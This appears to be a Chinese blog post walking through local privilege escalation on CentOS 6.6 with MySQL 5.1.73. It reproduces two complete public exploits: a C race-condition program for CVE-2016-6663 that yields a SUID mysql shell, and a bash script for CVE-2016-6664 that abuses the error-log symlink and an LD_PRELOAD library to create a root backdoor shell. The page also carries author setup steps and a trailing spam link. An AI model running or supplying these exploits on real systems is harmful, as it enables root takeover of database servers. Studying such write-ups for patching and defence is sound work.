Stay Hungry.Stay Foolish.


  • CentOS release 6.6 (Final)
  • mysql-5.1.73-5.el6_7.1.x86_64

获取mysql 用户组权限

首先可以用下面的mysqlpoc.c将当前普通用户提权到mysql用户组权限, 这里我改了tmp目录为data目录,因为看readme里面写了redhat-base 系统tmp目录无法成功。所以测试的时候先在根目录创建/data目录,再给777权限,命令如下。

mkdir /data
chmod 777 /data


#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH          "/data/mysql_privesc_exploit"
#define EXP_DIRN          "mysql_privesc_exploit"
#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL     EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessary
MYSQL *conn;  // DB handles
unsigned long cnt;
void intro() {
            "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
            "mysql-privesc-race.c (ver. 1.0)\n\n"
            "CVE-2016-6663 / OCVE-2016-5616\n\n"
            "For testing purposes only. Do no harm.\n\n"
            "Discovered/Coded by:\n\n"
            "Dawid Golunski \n"
void usage(char *argv0) {
    printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
void mysql_cmd(char *sql_cmd, int silent) {

    if (!silent) {
        printf("%s \n", sql_cmd);
    if (mysql_query(conn, sql_cmd)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
    res = mysql_store_result(conn);
    if (res>0) mysql_free_result(res);
int main(int argc,char **argv)
    int randomnum = 0;
    int io_notified = 0;
    int myd_handle;
    int wpid;
    int is_shell_suid=0;
    pid_t pid;
    int status;
    struct stat st;
    /* io notify */
    int fd;
    int ret;
    char buf[4096] __attribute__((aligned(8)));
    int num_read;
    struct inotify_event *event;
    /* credentials */
    char *user     = argv[1];
    char *password = argv[2];
    char *db_host  = argv[3];
    char *database = argv[4];
    // Disable buffering of stdout
    setvbuf(stdout, NULL, _IONBF, 0);
    // Get the params
    if (argc!=5) {
    // Show initial privileges
    printf("\n[+] Starting the exploit as: \n");
    // Connect to the database server with provided credentials
    printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
    // Prepare data dir
    printf("\n[+] Creating exploit temp directory %s\n", "/data/" EXP_DIRN);
    system("rm -rf /data/" EXP_DIRN " && mkdir /data/" EXP_DIRN);
    system("chmod g+s /data/" EXP_DIRN );
    // Prepare exploit tables :)
    printf("\n[+] Creating mysql tables \n\n");
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
    mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
    // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
    printf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");
    system("cp /bin/bash " SUID_SHELL);
    system("ls -l " SUID_SHELL);
    // Use inotify to get the timing right
    fd = inotify_init();
    if (fd < 0) {
        printf("failed to inotify_init\n");
        return -1;
    ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
    /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
    printf("\n[+] Entering the race loop... Hang in there...\n");
    while ( is_shell_suid != 1 ) {
        if ( (cnt % 100) == 0 ) {
        /* Create empty file , remove if already exists */
        mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
        mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
        /* random num if needed */
        srand ( time(NULL) );
        randomnum = ( rand() % MAX_DELAY );
        // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
        pid = fork();
        if (pid < 0) {
            fprintf(stderr, "Fork failed :(\n");
        /* Child process - executes REPAIR TABLE  SQL statement */
        if (pid == 0) {
            mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
            // child stops here
        /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
        if (pid > 0 ) {
            io_notified = 0;
            while (1) {
                int processed = 0;
                ret = read(fd, buf, sizeof(buf));
                if (ret < 0) {
                while (processed < ret) {
                    event = (struct inotify_event *)(buf + processed);
                    if (event->mask & IN_CLOSE) {
                        if (!strcmp(event->name, "exploit_table.TMD")) {
                            // Set the .MYD permissions to suid+exec before they get copied to the .TMD file 
                            myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
                            chmod(MYSQL_TAB_FILE, 04777);
                            // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
                            symlink(SUID_SHELL, MYSQL_TEMP_FILE);
                    processed += sizeof(struct inotify_event);
                if (io_notified) {
            waitpid(pid, &status, 0);
        // Check if SUID bit was set at the end of this attempt
        if ( lstat(SUID_SHELL, &st) == 0 ) {
            if (st.st_mode & S_ISUID) {
                is_shell_suid = 1;
    printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
    system("ls -l " SUID_SHELL);
    printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
    system(SUID_SHELL " -p -i ");
    //system(SUID_SHELL " -p -c '/bin/bash -i -p'");
    /* close MySQL connection and exit */
    printf("\n[+] Job done. Exiting\n\n");
    return 0;

编译上面c文件,可以直接git clone我的github, 然后make就行,编译报错可能是没有安装mysql-devel包。执行之后我们可以得到一个shell,whoami一下可以看到是mysql,我们已经具备了mysql用户权限。


然后通过ps aux | grep mysql找到mysql错误日志目录,执行下面的shell脚本获取root

#!/bin/bash -p
# MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
# (ver. 1.0)
# CVE-2016-6664 / OCVE-2016-5617
# Discovered and coded by:
# Dawid Golunski
# dawid[at]
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / OCVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
# Usage:
# ./ path_to_error.log 
# See full advisory for details at:
# Disclaimer:
# For testing purposes only. Do no harm.
function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $ERRORLOG
    touch $ERRORLOG
    if [ -f /etc/ ]; then
        echo -n > /etc/
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
    cleanexit 0
echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \ (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \n \033[0m"
# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
    echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
    exit 3
# Priv check
echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql 
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
    exit 3
# Set target paths
if [ ! -f $ERRORLOG ]; then
    echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"
    exit 3
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
    return old_geteuid();
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
# Prepare backdoor shell
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ ]; then
    echo -e "\n[!] /etc/ already exists. Exiting for safety."
    exit 2
# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ $ERRORLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
    cleanexit 3
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
    echo -e "Got it. Executing 'killall mysqld' now..."
    killall mysqld
while :; do 
    sleep 0.1
    if [ -f /etc/ ]; then
        echo $PRIVESCLIB > /etc/
        rm -f $ERRORLOG
# /etc/ dir should be owned by mysql user at this point
# Inject the shared library to escalate privileges
echo $PRIVESCLIB > /etc/
echo -e "\n[+] MySQL restarted. The /etc/ file got created with mysql privileges: \n`ls -l /etc/`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/"
echo -e "\n[+] The /etc/ file now contains: \n`cat /etc/`"
chmod 755 /etc/
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
#while :; do 
#   sleep 0.1
#   ps aux | grep mysqld | grep -q 'log-error'
#   if [ $? -eq 0 ]; then
#       break;
#   fi
# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
    echo -e "\n[!] Failed to get root"
    cleanexit 2
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/; rm -f $PRIVESCLIB"
# Job done.
cleanexit 0



mysql用户组权限对于mysql 错误日志目录必须具备w权限,我测试的机器mysql通过yum安装,默认日志目录的属主和用户组是root,其他用户对这个目录只有rx权限,所以我是手动添加的w权限才成功, 可能大家会觉得鸡肋,但是有dba的公司一般会手动指定log目录,所以是否具备w权限真不一定

2019-04-25 11:55:58

Strange lumps under my left armpit.? | Yahoo Respostas <a href=>small hard lump under armpit</a>